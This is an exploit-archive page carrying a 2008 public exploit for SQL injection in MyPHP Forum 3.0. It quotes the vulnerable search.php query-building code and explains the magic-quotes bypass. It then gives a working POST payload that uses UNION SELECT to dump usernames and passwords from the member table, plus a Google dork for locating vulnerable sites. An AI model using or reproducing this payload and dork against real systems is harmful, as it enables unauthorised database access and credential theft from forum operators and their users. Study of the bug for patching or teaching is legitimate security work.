what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

myphp30-sql.txt

myphp30-sql.txt
Posted Jan 3, 2008
Authored by The:Paradox | Site inj3ct-it.org

MyPHP Forum versions 3.0 and below suffer from multiple SQL injection vulnerabilities.

tags | exploit, vulnerability, sql injection
SHA-256 | 680dd2052254a20abf2af08908a583efe4bdb30633b25535ff469156b121857d

myphp30-sql.txt

Change Mirror Download
#=================================================================================================# 
# ____ __________ __ ____ __ #
# /_ | ____ |__\_____ \ _____/ |_ /_ |/ |_ #
# | |/ \ | | _(__ <_/ ___\ __\ ______ | \ __\ #
# | | | \ | |/ \ \___| | /_____/ | || | #
# |___|___| /\__| /______ /\___ >__| |___||__| #
# \/\______| \/ \/ #
#=================================================================================================#
# This is a Public Exploit. #
# Date: 03/01/2008 [dd,mm,yyyy] #
# #
# !!!Happy New Year!!! #
# #
#=================================================================================================#
# MyPHP Forum v3.0 (Final) And Maybe Lower Multiple Sql Injection Vulnerabilities (Mq=Off/On) #
# #
# Vendor: www.myphp.ws #
# Severity: Highest #
# Author: The:Paradox #
# #
#=================================================================================================#
# Proud To Be Italian. #
#=================================================================================================#
"""
Related Codes:
search.php; line 14:

if($_POST['submit']) {
$searchtext = $_POST['searchtext'];
$searchuser = $_POST['searchuser'];

if(!strstr($searchtext, '"')) {
$keywords = explode(" ", $searchtext);
for($i = 0; $i < count($keywords); $i++) {
if($sqladdon != "") {
$sqladdon .= " AND p.message LIKE '%$keywords[$i]%'";
} else {
$sqladdon .= "p.message LIKE '%$keywords[$i]%'";
}
}
} else {
$phrase = trim(stripslashes(strstr($searchtext, '"')));
$quotesarr = explode('"', $phrase);
$quotes = count($quotesarr);
$phrasecount = $quotes - (count(explode('" "', $phrase)) + 1);

for($i = 0; $i < $quotes; $i++) {
if($i != 0 && $i != $quotes - 1) {
if($phraseoff != "yes") {
$phraselist .= "$quotesarr[$i]|";
$phraseoff = "yes";
} else {
$phraseoff = "no";
}
}
}

$phrasearr = explode("|", $phraselist);
$phrases = count($phrasearr) - 1;

for($i = 0; $i < $phrases; $i++) {
if($sqladdon != "") {
$sqladdon .= " AND p.message LIKE '%$phrasearr[$i]%'";
} else {
$sqladdon .= "p.message LIKE '%$phrasearr[$i]%'";
}
}

$newsearchtxt = trim(str_replace("$phrase", "", stripslashes($searchtext)));

if($newsearchtxt != "") {
$keywords = explode(" ", $newsearchtxt);
}

for($i = 0; $i < count($keywords); $i++) {
if($sqladdon != "") {
$sqladdon .= " AND p.message LIKE '%$keywords[$i]%'";
} else {
$sqladdon .= "p.message LIKE '%$keywords[$i]%'";
}
}
}

if($searchuser != "") {
if($sqladdon != "") {
$sqladdon .= " AND p.author LIKE '%$searchuser%'";
} else {
$sqladdon .= "p.author LIKE '%$searchuser%'";
}
}

if($sqladdon != "" ) {
search_header();
$ttnum = 1; // Now the Vulnerable Query =)
$query = mysql_query("SELECT t.*, f.name AS forum FROM $db_post p, $db_topic t, $db_forum f WHERE $sqladdon AND t.tid=p.tid AND f.fid=t.fid") or die(mysql_error());

"""
#=================================================================================================#
# Proof Of Concept / Bug Explanation: #
# #
# A lot of Sql injection Vulnerabilities were found in this platform, but most of them work only #
# with the server configuration Magic Quotes Off. #
# Whatever in Search.php there is a $searchtext is not propelly checked before the mysql_query. #
# The page does stripslashes to $searchtext var making us able to do an Sql injection with the #
# configuration of Magic Quotes On. #
# #
#=================================================================================================#
# Post Query :
#
# submit=Search&searchtext=%'/**/UNION/**/SELECT/**/0,0,0,concat('<BR/><h3>-=ParadoxGotThisOne=-</h3><BR/><h4>Username:',username,'<BR/>Password:',password,'</h4>'),0,0,0,0,0,0/**/FROM/**/[Prefix]_member/**/WHERE/**/uid=[Id]/*"
#
# Attenction: the last " is needed (see code).
#
#=================================================================================================#
# Other injection vulnerabilities were found, but them were not pulished. #
#=================================================================================================#
# Google Dork=> Powered by MyPHP Forum v3.0 #
#=================================================================================================#
# Use this at your own risk. You are responsible for your own deeds. #
#=================================================================================================#

Login or Register to add favorites

File Archive:

December 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    2 Files
  • 2
    Dec 2nd
    12 Files
  • 3
    Dec 3rd
    0 Files
  • 4
    Dec 4th
    0 Files
  • 5
    Dec 5th
    0 Files
  • 6
    Dec 6th
    0 Files
  • 7
    Dec 7th
    0 Files
  • 8
    Dec 8th
    0 Files
  • 9
    Dec 9th
    0 Files
  • 10
    Dec 10th
    0 Files
  • 11
    Dec 11th
    0 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close